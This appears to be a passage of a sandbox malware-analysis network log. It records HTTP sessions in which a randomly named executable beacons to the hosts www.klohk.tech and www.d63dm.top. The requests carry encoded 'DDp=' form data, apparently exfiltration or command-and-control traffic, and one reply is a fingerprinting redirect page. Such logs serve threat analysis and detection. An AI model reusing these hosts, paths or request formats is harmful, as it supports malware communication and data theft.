DDp=NEUQnq9Sab7mzuQRE4SfuRyxbefXuw5m/nY7DcRY6x59VxSqXWEi+/xWO4NKNmjVyosyI447HN5aGQvNkHYvG+kzblprphMwuA68OTvt8ZAaw71RcG6X2+IQab0V2ktoTp3yrLxvizNvgSy0DsGZv4kQ9Bf6R95ymxkIaAaTsstVFoDDyOEBKuAXG+rvkDhvD4jIe2x6Bm0+
Nov 6, 2024 08:41:07.425868988 CET	871	IN	HTTP/1.1 200 OK date: Wed, 06 Nov 2024 07:41:07 GMT server: Apache set-cookie: __tad=1730878867.8996817; expires=Sat, 04-Nov-2034 07:41:07 GMT; Max-Age=315360000 vary: Accept-Encoding content-encoding: gzip content-length: 576 content-type: text/html; charset=UTF-8 connection: close Data Raw: 1f 8b 08 00 00 00 00 00 00 03 8d 54 4d 6f db 30 0c 3d c7 bf 82 70 0f 76 d0 d5 4e 11 6c 03 12 cb 3b 0c 18 b0 61 87 a1 dd ce 83 22 d3 b1 12 5b f2 24 26 69 50 e4 bf 97 72 dc 8f 6d c0 3a 5d 6c 51 ef 91 ef d1 94 8b 86 ba b6 8c 8a 06 65 c5 0f d2 d4 62 b9 6d 6d b3 cd 08 55 53 e4 e7 48 54 78 e5 74 4f 40 c7 1e 45 4c 78 47 f9 46 ee e5 39 1a 83 77 4a c4 f9 c6 e7 b5 36 6b 74 bd d3 86 72 ad 6b cc 3a 6d b2 8d 8f cb 22 3f 63 5f 4b 55 46 7b e9 c0 61 a5 1d 2a fa d9 6a b3 05 01 49 43 d4 2f f2 fc 70 38 64 cf ea f2 79 37 c7 fc 43 b2 8c a2 3c 87 5b 24 90 40 ba 43 bb 23 b0 35 cc 67 33 e8 b4 72 d6 a3 b2 a6 f2 40 16 f0 0e d5 8e 90 81 8f 25 40 d7 40 0d c2 0b e5 d0 3b db 69 cf 31 a9 5b 0f b5 75 e0 6d 87 4c 91 de 9a a8 de 19 45 da 1a 3e 6e db 95 54 db 9b 31 55 3a 85 fb 68 72 d0 a6 b2 87 ac b5 4a 06 54 e6 b0 6f a5 c2 f4 37 4f 97 49 dd 8b ab f7 c9 74 19 9d a2 88 dc 31 30 59 a5 27 70 95 fb 3e 9a 10 e0 91 c6 4d fa 67 b5 37 c1 20 f3 27 a1 61 75 ff 6d d4 2c e0 d3 b3 93 2f b7 ac 43 56 e9 7d 67 8d 26 cb a1 f5 22 c8 f6 78 0a cc 27 56 [TRUNCATED] Data Ascii: TMo0=pvNl;a"[$&iPrm:]lQebmmUSHTxtO@ELxGF9wJ6ktrk:m"?c_KUF{a*jIC/p8dy7C<[$@C#5g3r@%@@;i1[umLE>nT1U:hrJTo7OIt10Y'p>Mg7 'aum,/CV}g&"x'V4d=ekd;8L]K~,`'<#j9TRnz>v2!>cUsCCW_yae+n4k5'`bxjlk/a&aI=?.X,$4k0OV[h0C^\;DLl?n)1;y

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.6	50006	103.224.182.242	80	4156	C:\Program Files (x86)\qAqHLaUqGdGSibnbsuFbwLxvAFPQuvrbSfOEHrLLRJmfJjxgfxcBbqhSgrhXlwnHFn\FuFneNIzDsF.exe

Timestamp	Bytes transferred	Direction	Data
Nov 6, 2024 08:41:09.315457106 CET	825	OUT	POST /3m3e/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Host: www.klohk.tech Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 232 Cache-Control: no-cache Origin: http://www.klohk.tech Referer: http://www.klohk.tech/3m3e/ User-Agent: Mozilla/5.0 (Linux; Android 4.4.2; A3-A10 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.0.0 Safari/537.36 Data Raw: 44 44 70 3d 4e 45 55 51 6e 71 39 53 61 62 37 6d 77 4e 59 52 49 2f 47 66 35 68 79 32 65 65 66 58 37 67 35 69 2f 6e 45 37 44 66 64 32 39 45 4a 39 56 51 69 71 55 58 45 69 39 2f 78 57 47 59 4d 41 44 47 69 62 79 6f 78 52 49 36 63 37 48 4f 46 61 47 52 66 4e 6b 32 59 73 58 2b 6b 78 58 46 70 70 30 78 4d 77 75 41 36 38 4f 53 4c 54 38 5a 6f 61 78 4b 46 52 63 6e 36 55 2f 65 49 50 64 62 30 56 79 6b 74 6b 54 70 32 56 72 4b 64 4a 69 31 42 76 67 58 65 30 44 65 75 57 32 49 6b 65 69 78 65 39 63 63 6b 33 6f 79 6c 46 52 68 36 67 2f 38 46 71 45 65 65 5a 75 39 45 69 59 2b 67 56 47 38 7a 64 6b 6a 68 46 42 34 62 49 4d 68 39 64 4f 53 52 64 37 39 69 78 30 6f 46 61 47 6c 56 4a 45 59 72 47 54 43 6b 34 4d 41 3d 3d Data Ascii: DDp=NEUQnq9Sab7mwNYRI/Gf5hy2eefX7g5i/nE7Dfd29EJ9VQiqUXEi9/xWGYMADGibyoxRI6c7HOFaGRfNk2YsX+kxXFpp0xMwuA68OSLT8ZoaxKFRcn6U/eIPdb0VyktkTp2VrKdJi1BvgXe0DeuW2Ikeixe9cck3oylFRh6g/8FqEeeZu9EiY+gVG8zdkjhFB4bIMh9dOSRd79ix0oFaGlVJEYrGTCk4MA==
Nov 6, 2024 08:41:09.973614931 CET	871	IN	HTTP/1.1 200 OK date: Wed, 06 Nov 2024 07:41:09 GMT server: Apache set-cookie: __tad=1730878869.5521474; expires=Sat, 04-Nov-2034 07:41:09 GMT; Max-Age=315360000 vary: Accept-Encoding content-encoding: gzip content-length: 576 content-type: text/html; charset=UTF-8 connection: close Data Raw: 1f 8b 08 00 00 00 00 00 00 03 8d 54 4d 6f db 30 0c 3d c7 bf 82 70 0f 76 d0 d5 4e 11 6c 03 12 cb 3b 0c 18 b0 61 87 a1 dd ce 83 22 d3 b1 12 5b f2 24 26 69 50 e4 bf 97 72 dc 8f 6d c0 3a 5d 6c 51 ef 91 ef d1 94 8b 86 ba b6 8c 8a 06 65 c5 0f d2 d4 62 b9 6d 6d b3 cd 08 55 53 e4 e7 48 54 78 e5 74 4f 40 c7 1e 45 4c 78 47 f9 46 ee e5 39 1a 83 77 4a c4 f9 c6 e7 b5 36 6b 74 bd d3 86 72 ad 6b cc 3a 6d b2 8d 8f cb 22 3f 63 5f 4b 55 46 7b e9 c0 61 a5 1d 2a fa d9 6a b3 05 01 49 43 d4 2f f2 fc 70 38 64 cf ea f2 79 37 c7 fc 43 b2 8c a2 3c 87 5b 24 90 40 ba 43 bb 23 b0 35 cc 67 33 e8 b4 72 d6 a3 b2 a6 f2 40 16 f0 0e d5 8e 90 81 8f 25 40 d7 40 0d c2 0b e5 d0 3b db 69 cf 31 a9 5b 0f b5 75 e0 6d 87 4c 91 de 9a a8 de 19 45 da 1a 3e 6e db 95 54 db 9b 31 55 3a 85 fb 68 72 d0 a6 b2 87 ac b5 4a 06 54 e6 b0 6f a5 c2 f4 37 4f 97 49 dd 8b ab f7 c9 74 19 9d a2 88 dc 31 30 59 a5 27 70 95 fb 3e 9a 10 e0 91 c6 4d fa 67 b5 37 c1 20 f3 27 a1 61 75 ff 6d d4 2c e0 d3 b3 93 2f b7 ac 43 56 e9 7d 67 8d 26 cb a1 f5 22 c8 f6 78 0a cc 27 56 [TRUNCATED] Data Ascii: TMo0=pvNl;a"[$&iPrm:]lQebmmUSHTxtO@ELxGF9wJ6ktrk:m"?c_KUF{a*jIC/p8dy7C<[$@C#5g3r@%@@;i1[umLE>nT1U:hrJTo7OIt10Y'p>Mg7 'aum,/CV}g&"x'V4d=ekd;8L]K~,`'<#j9TRnz>v2!>cUsCCW_yae+n4k5'`bxjlk/a&aI=?.X,$4k0OV[h0C^\;DLl?n)1;y

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.6	50007	103.224.182.242	80	4156	C:\Program Files (x86)\qAqHLaUqGdGSibnbsuFbwLxvAFPQuvrbSfOEHrLLRJmfJjxgfxcBbqhSgrhXlwnHFn\FuFneNIzDsF.exe

Timestamp	Bytes transferred	Direction	Data
Nov 6, 2024 08:41:11.865485907 CET	1838	OUT	POST /3m3e/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Host: www.klohk.tech Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 1244 Cache-Control: no-cache Origin: http://www.klohk.tech Referer: http://www.klohk.tech/3m3e/ User-Agent: Mozilla/5.0 (Linux; Android 4.4.2; A3-A10 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.0.0 Safari/537.36 Data Raw: 44 44 70 3d 4e 45 55 51 6e 71 39 53 61 62 37 6d 77 4e 59 52 49 2f 47 66 35 68 79 32 65 65 66 58 37 67 35 69 2f 6e 45 37 44 66 64 32 39 45 42 39 56 69 61 71 53 45 73 69 38 2f 78 57 61 49 4d 4e 44 47 6a 48 79 6f 6f 59 49 36 51 46 48 49 42 61 47 7a 58 4e 69 43 73 73 4f 75 6b 78 66 6c 70 71 70 68 4d 70 75 41 71 34 4f 53 62 54 38 5a 6f 61 78 4a 64 52 65 32 36 55 35 65 49 51 61 62 30 6e 32 6b 73 7a 54 74 54 71 72 4b 70 2f 2b 56 68 76 67 32 79 30 51 37 61 57 2b 49 6b 63 68 78 65 66 63 63 6f 38 6f 79 35 7a 52 68 4f 5a 2f 37 31 71 45 70 50 6c 79 5a 4a 2b 42 73 49 50 61 2b 72 6c 68 6b 52 46 59 34 6a 52 4a 51 6c 42 4b 78 6c 74 33 4b 43 76 69 75 55 5a 47 55 4a 2b 4d 4f 65 58 61 79 4e 2f 51 41 39 4f 57 5a 64 52 2f 33 50 54 75 32 52 58 71 62 4e 53 64 6d 42 6b 44 72 42 74 33 4e 68 79 7a 59 56 62 47 30 50 73 5a 2f 59 43 77 36 35 67 50 38 44 51 67 55 44 45 4e 45 44 71 4b 2b 56 38 51 58 49 62 51 63 31 39 48 64 65 51 58 6f 42 4c 65 6f 75 50 58 73 6e 67 54 58 75 4e 33 46 2f 38 2b 4d 39 4e 69 67 46 50 79 6b 71 63 51 39 [TRUNCATED] Data Ascii: DDp=NEUQnq9Sab7mwNYRI/Gf5hy2eefX7g5i/nE7Dfd29EB9ViaqSEsi8/xWaIMNDGjHyooYI6QFHIBaGzXNiCssOukxflpqphMpuAq4OSbT8ZoaxJdRe26U5eIQab0n2kszTtTqrKp/+Vhvg2y0Q7aW+Ikchxefcco8oy5zRhOZ/71qEpPlyZJ+BsIPa+rlhkRFY4jRJQlBKxlt3KCviuUZGUJ+MOeXayN/QA9OWZdR/3PTu2RXqbNSdmBkDrBt3NhyzYVbG0PsZ/YCw65gP8DQgUDENEDqK+V8QXIbQc19HdeQXoBLeouPXsngTXuN3F/8+M9NigFPykqcQ9HDdpl6WkoG1Kd7oasoV4rkzoIv+2MBs6Wj/+XlquWk5O19Jo3v/VjWdxHVsVkGYvPSjpCbAHrQAh1LTjgXioS8czhE+Ndh53aslHe5jRmxmx8oBHPDLgcNVXdMMtH66IZp6jm9dGuV1WGKp/9aJtRc8HdYeZbCqqefJscl69KTjDICYE1QRGnm2GKm1X4g1VQD/doWqDvhdsneE+V5jWehLc1TEuh9/JKYKMTvbsFHbnW2O21gmj+xZQBN9DmaHa9w/iBekPG2AuyjvJ9qRzPjCi5KCajVnyQBbPskVD4Qsd/sTEysrmBVrP8262wkhJjYtyzNhXhJxl+axmlB0AQDH1XUdAqQWcSdvhBWRi475QiFpzWlDJqdTi+uPlxCAtkkF5MX9rHXEXbZgAAMgxbEi0pTGY2UuFHWHc6abgdA4RBT5bfWx3fR2MxWDB6VMnMIXwncB9Z4rAYL3ve63a3J7REjbTp8sBzSH0dgJDZ+X84T/L7X2hK2nfwJxt+OXuyzape/C8cWd8ZEcHgrY7IRVU+VSiNAZZ5p5Q5aPrzNIiySoO2BEuQ9YtqmYZHd2mdlJEl55S9zojGYb+rBH/bnrz+/WCXmuXnxHoPYZ2PXMLnE/oA+Ihd2Z/1pa4reCkMv8HJQa0uK4I7mVkOAfE0iq543YAJsVUyO [TRUNCATED]
Nov 6, 2024 08:41:12.519090891 CET	871	IN	HTTP/1.1 200 OK date: Wed, 06 Nov 2024 07:41:12 GMT server: Apache set-cookie: __tad=1730878872.4430285; expires=Sat, 04-Nov-2034 07:41:12 GMT; Max-Age=315360000 vary: Accept-Encoding content-encoding: gzip content-length: 576 content-type: text/html; charset=UTF-8 connection: close Data Raw: 1f 8b 08 00 00 00 00 00 00 03 8d 54 4d 6f db 30 0c 3d c7 bf 82 70 0f 76 d0 d5 4e 11 6c 03 12 cb 3b 0c 18 b0 61 87 a1 dd ce 83 22 d3 b1 12 5b f2 24 26 69 50 e4 bf 97 72 dc 8f 6d c0 3a 5d 6c 51 ef 91 ef d1 94 8b 86 ba b6 8c 8a 06 65 c5 0f d2 d4 62 b9 6d 6d b3 cd 08 55 53 e4 e7 48 54 78 e5 74 4f 40 c7 1e 45 4c 78 47 f9 46 ee e5 39 1a 83 77 4a c4 f9 c6 e7 b5 36 6b 74 bd d3 86 72 ad 6b cc 3a 6d b2 8d 8f cb 22 3f 63 5f 4b 55 46 7b e9 c0 61 a5 1d 2a fa d9 6a b3 05 01 49 43 d4 2f f2 fc 70 38 64 cf ea f2 79 37 c7 fc 43 b2 8c a2 3c 87 5b 24 90 40 ba 43 bb 23 b0 35 cc 67 33 e8 b4 72 d6 a3 b2 a6 f2 40 16 f0 0e d5 8e 90 81 8f 25 40 d7 40 0d c2 0b e5 d0 3b db 69 cf 31 a9 5b 0f b5 75 e0 6d 87 4c 91 de 9a a8 de 19 45 da 1a 3e 6e db 95 54 db 9b 31 55 3a 85 fb 68 72 d0 a6 b2 87 ac b5 4a 06 54 e6 b0 6f a5 c2 f4 37 4f 97 49 dd 8b ab f7 c9 74 19 9d a2 88 dc 31 30 59 a5 27 70 95 fb 3e 9a 10 e0 91 c6 4d fa 67 b5 37 c1 20 f3 27 a1 61 75 ff 6d d4 2c e0 d3 b3 93 2f b7 ac 43 56 e9 7d 67 8d 26 cb a1 f5 22 c8 f6 78 0a cc 27 56 [TRUNCATED] Data Ascii: TMo0=pvNl;a"[$&iPrm:]lQebmmUSHTxtO@ELxGF9wJ6ktrk:m"?c_KUF{a*jIC/p8dy7C<[$@C#5g3r@%@@;i1[umLE>nT1U:hrJTo7OIt10Y'p>Mg7 'aum,/CV}g&"x'V4d=ekd;8L]K~,`'<#j9TRnz>v2!>cUsCCW_yae+n4k5'`bxjlk/a&aI=?.X,$4k0OV[h0C^\;DLl?n)1;y

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.6	50008	103.224.182.242	80	4156	C:\Program Files (x86)\qAqHLaUqGdGSibnbsuFbwLxvAFPQuvrbSfOEHrLLRJmfJjxgfxcBbqhSgrhXlwnHFn\FuFneNIzDsF.exe

Timestamp	Bytes transferred	Direction	Data
Nov 6, 2024 08:41:14.405353069 CET	547	OUT	GET /3m3e/?SvrLY=3P8lALA&DDp=AG8wkc12D4O4qfE3dc2ZpUKPRZyp2gRu+0k6EtFb5UlufQ+lVXFR/9gePpQjCGKa/ZsQJ4MYKcJmAxrfjl4cD9BPWmhuph4utiW3Dhv00Os4z+1dRn6W+dMqbZ0s1lU/AMvHhe0= HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Host: www.klohk.tech Connection: close User-Agent: Mozilla/5.0 (Linux; Android 4.4.2; A3-A10 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.0.0 Safari/537.36
Nov 6, 2024 08:41:15.086507082 CET	1236	IN	HTTP/1.1 200 OK date: Wed, 06 Nov 2024 07:41:14 GMT server: Apache set-cookie: __tad=1730878874.4830390; expires=Sat, 04-Nov-2034 07:41:14 GMT; Max-Age=315360000 vary: Accept-Encoding content-length: 1517 content-type: text/html; charset=UTF-8 connection: close Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 6b 6c 6f 68 6b 2e 74 65 63 68 3c 2f 74 69 74 6c 65 3e 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 2f 6a 73 2f 66 69 6e 67 65 72 70 72 69 6e 74 2f 69 69 66 65 2e 6d 69 6e 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 0a 76 61 72 20 72 65 64 69 72 65 63 74 5f 6c 69 6e 6b 20 3d 20 27 68 74 74 70 3a 2f 2f 77 77 77 2e 6b 6c 6f 68 6b 2e 74 65 63 68 2f 33 6d 33 65 2f 3f 53 76 72 4c 59 3d 33 50 38 6c 41 4c 41 26 44 44 70 3d 41 47 38 77 6b 63 31 32 44 34 4f 34 71 66 45 33 64 63 32 5a 70 55 4b 50 52 5a 79 70 32 67 52 75 2b 30 6b 36 45 74 46 62 35 55 6c 75 66 51 2b 6c 56 58 46 52 2f 39 67 65 50 70 51 6a 43 47 4b 61 2f 5a 73 51 4a 34 4d 59 4b 63 4a 6d 41 78 72 66 6a 6c 34 63 44 39 42 50 57 6d 68 75 70 68 34 75 74 69 57 33 44 68 76 30 30 4f 73 34 7a 2b 31 64 52 6e 36 57 2b 64 4d 71 62 5a 30 73 [TRUNCATED] Data Ascii: <html><head><title>klohk.tech</title><script type="text/javascript" src="/js/fingerprint/iife.min.js"></script><script type="text/javascript">var redirect_link = 'http://www.klohk.tech/3m3e/?SvrLY=3P8lALA&DDp=AG8wkc12D4O4qfE3dc2ZpUKPRZyp2gRu+0k6EtFb5UlufQ+lVXFR/9gePpQjCGKa/ZsQJ4MYKcJmAxrfjl4cD9BPWmhuph4utiW3Dhv00Os4z+1dRn6W+dMqbZ0s1lU/AMvHhe0=&';// Set a timeout of 300 microseconds to execute a redirect if the fingerprint promise fails for some reasonfunction fallbackRedirect() {window.location.replace(redirect_link+'fp=-7');}try {const rdrTimeout = setTimeout(fallbackRedirect, 300);var fpPromise = FingerprintJS.load({monitoring: false});fpPromise.then(fp => fp.get()).then(result => { var fprt = 'fp='+result.visitorId;clearTimeout(rdrTimeout);window.location.replace(redirect_link+fprt);});} catch(err) {fallbackRedirect();}</script><style> body { background:#101c36 } </style></head><body bgcolor=
Nov 6, 2024 08:41:15.086530924 CET	553	IN	Data Raw: 22 23 66 66 66 66 66 66 22 20 74 65 78 74 3d 22 23 30 30 30 30 30 30 22 3e 0a 3c 64 69 76 20 73 74 79 6c 65 3d 27 64 69 73 70 6c 61 79 3a 20 6e 6f 6e 65 3b 27 3e 3c 61 20 68 72 65 66 3d 27 68 74 74 70 3a 2f 2f 77 77 77 2e 6b 6c 6f 68 6b 2e 74 65 Data Ascii: "#ffffff" text="#000000"><div style='display: none;'><a href='http://www.klohk.tech/3m3e/?SvrLY=3P8lALA&DDp=AG8wkc12D4O4qfE3dc2ZpUKPRZyp2gRu+0k6EtFb5UlufQ+lVXFR/9gePpQjCGKa/ZsQJ4MYKcJmAxrfjl4cD9BPWmhuph4utiW3Dhv00Os4z+1dRn6W+dMqbZ0s1lU/AMvHhe

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.6	50009	154.23.184.218	80	4156	C:\Program Files (x86)\qAqHLaUqGdGSibnbsuFbwLxvAFPQuvrbSfOEHrLLRJmfJjxgfxcBbqhSgrhXlwnHFn\FuFneNIzDsF.exe

Timestamp	Bytes transferred	Direction	Data
Nov 6, 2024 08:41:20.776249886 CET	798	OUT	POST /rqnz/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Host: www.d63dm.top Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 208 Cache-Control: no-cache Origin: http://www.d63dm.top Referer: http://www.d63dm.top/rqnz/ User-Agent: Mozilla/5.0 (Linux; Android 4.4.2; A3-A10 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.0.0 Safari/537.36 Data Raw: 44 44 70 3d 32 34 4a 4f 4f 58 4a 38 65 34 68 4e 61 66 6f 73 42 6b 32 31 64 2f 51 45 53 44 4e 43 6a 79 46 4c 57 38 33 37 47 37 77 48 33 2f 44 44 68 7a 43 5a 52 31 4e 38 43 58 74 67 2b 67 4b 2b 34 4f 6d 37 74 73 71 65 33 62 4d 68 4f 62 49 33 38 50 76 7a 37 46 61 55 6a 61 30 2f 62 66 53 47 56 39 2b 2b 57 4a 42 6b 68 4a 6f 2b 6f 39 56 78 76 7a 65 39 72 68 70 67 36 2b 76 4b 4f 68 61 50 62 54 79 73 4b 35 70 5a 4f 73 74 32 32 42 38 69 54 45 4d 68 44 48 55 7a 4f 53 4a 4c 6a 59 6c 65 52 44 49 6d 50 74 39 64 6a 54 4a 68 47 31 71 36 7a 50 39 58 77 46 37 6a 37 36 6f 65 75 48 55 44 70 42 61 4a 47 41 69 39 42 48 4c 4e 4d 4f 33 4f Data Ascii: DDp=24JOOXJ8e4hNafosBk21d/QESDNCjyFLW837G7wH3/DDhzCZR1N8CXtg+gK+4Om7tsqe3bMhObI38Pvz7FaUja0/bfSGV9++WJBkhJo+o9Vxvze9rhpg6+vKOhaPbTysK5pZOst22B8iTEMhDHUzOSJLjYleRDImPt9djTJhG1q6zP9XwF7j76oeuHUDpBaJGAi9BHLNMO3O
Nov 6, 2024 08:41:21.718147039 CET	302	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 06 Nov 2024 07:41:21 GMT Content-Type: text/html Content-Length: 138 Connection: close ETag: "669137aa-8a" Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.6	50010	154.23.184.218	80	4156	C:\Program Files (x86)\qAqHLaUqGdGSibnbsuFbwLxvAFPQuvrbSfOEHrLLRJmfJjxgfxcBbqhSgrhXlwnHFn\FuFneNIzDsF.exe

Timestamp	Bytes transferred	Direction	Data
Nov 6, 2024 08:41:23.326683998 CET	822	OUT	POST /rqnz/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Host: www.d63dm.top Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 232 Cache-Control: no-cache Origin: http://www.d63dm.top Referer: http://www.d63dm.top/rqnz/ User-Agent: Mozilla/5.0 (Linux; Android 4.4.2; A3-A10 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.0.0 Safari/537.36 Data Raw: 44 44 70 3d 32 34 4a 4f 4f 58 4a 38 65 34 68 4e 62 2f 59 73 4f 6c 32 31 49 50 51 48 64 6a 4e 43 6f 53 46 50 57 38 72 37 47 36 45 58 33 73 6e 44 68 53 79 5a 51 78 5a 38 46 58 74 67 78 41 4b 33 31 75 6d 4b 74 73 57 57 33 61 41 68 4f 62 73 33 38 4f 66 7a 34 79 47 54 69 4b 30 35 55 2f 53 45 4b 74 2b 2b 57 4a 42 6b 68 4a 73 59 6f 39 74 78 76 6d 4f 39 78 45 56 6a 30 65 76 4a 65 78 61 50 4b 44 79 6f 4b 35 70 6e 4f 74 68 50 32 48 67 69 54 41 49 68 44 56 38 77 46 53 4a 4e 73 34 6c 41 58 7a 68 71 41 73 59 72 67 54 4d 48 64 6e 61 67 79 35 67 4e 73 32 37 41 70 71 49 63 75 46 4d 78 70 68 61 6a 45 41 61 39 54 51 48 71 44 36 53 74 57 73 39 68 6c 41 57 51 4d 6b 56 49 73 34 61 70 58 65 50 71 42 77 3d 3d Data Ascii: DDp=24JOOXJ8e4hNb/YsOl21IPQHdjNCoSFPW8r7G6EX3snDhSyZQxZ8FXtgxAK31umKtsWW3aAhObs38Ofz4yGTiK05U/SEKt++WJBkhJsYo9txvmO9xEVj0evJexaPKDyoK5pnOthP2HgiTAIhDV8wFSJNs4lAXzhqAsYrgTMHdnagy5gNs27ApqIcuFMxphajEAa9TQHqD6StWs9hlAWQMkVIs4apXePqBw==
Nov 6, 2024 08:41:24.278285027 CET	302	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 06 Nov 2024 07:41:24 GMT Content-Type: text/html Content-Length: 138 Connection: close ETag: "669137aa-8a" Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.6	50011	154.23.184.218	80	4156	C:\Program Files (x86)\qAqHLaUqGdGSibnbsuFbwLxvAFPQuvrbSfOEHrLLRJmfJjxgfxcBbqhSgrhXlwnHFn\FuFneNIzDsF.exe

Timestamp	Bytes transferred	Direction	Data
Nov 6, 2024 08:41:25.877367020 CET	1835	OUT	POST /rqnz/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Host: www.d63dm.top Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 1244 Cache-Control: no-cache Origin: http://www.d63dm.top Referer: http://www.d63dm.top/rqnz/ User-Agent: Mozilla/5.0 (Linux; Android 4.4.2; A3-A10 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.0.0 Safari/537.36 Data Raw: 44 44 70 3d 32 34 4a 4f 4f 58 4a 38 65 34 68 4e 62 2f 59 73 4f 6c 32 31 49 50 51 48 64 6a 4e 43 6f 53 46 50 57 38 72 37 47 36 45 58 33 73 76 44 67 67 4b 5a 66 32 31 38 45 58 74 67 76 77 4b 36 31 75 6d 58 74 73 2b 53 33 61 63 62 4f 5a 45 33 39 73 48 7a 76 7a 47 54 73 36 30 35 52 50 53 48 56 39 2b 52 57 49 78 67 68 4a 63 59 6f 39 74 78 76 6e 2b 39 2f 42 70 6a 32 65 76 4b 4f 68 61 39 62 54 7a 50 4b 36 59 63 4f 74 31 41 32 52 51 69 64 41 59 68 46 6d 55 77 49 53 4a 50 6c 6f 6b 54 58 7a 38 6f 41 73 56 46 67 51 52 73 64 6e 2b 67 7a 34 46 38 78 33 33 5a 77 72 4e 2b 76 55 70 54 77 31 43 4e 44 67 57 32 56 67 66 58 41 4a 53 56 56 5a 31 6c 71 6d 58 64 45 31 4a 48 71 39 6e 56 5a 76 36 36 52 6e 65 53 7a 65 38 4c 51 33 74 66 37 64 70 50 44 33 47 43 57 7a 72 52 76 65 4b 59 57 50 56 68 71 61 58 61 64 64 52 63 32 77 4a 54 4c 49 64 61 69 37 6e 42 51 49 77 67 34 73 30 6c 31 51 57 41 37 39 72 36 72 4f 37 34 59 62 36 52 58 33 6e 4d 32 4f 39 79 70 43 4d 4d 36 4e 38 6c 72 51 37 6b 42 35 63 67 36 70 66 78 65 61 56 59 31 46 [TRUNCATED] Data Ascii: 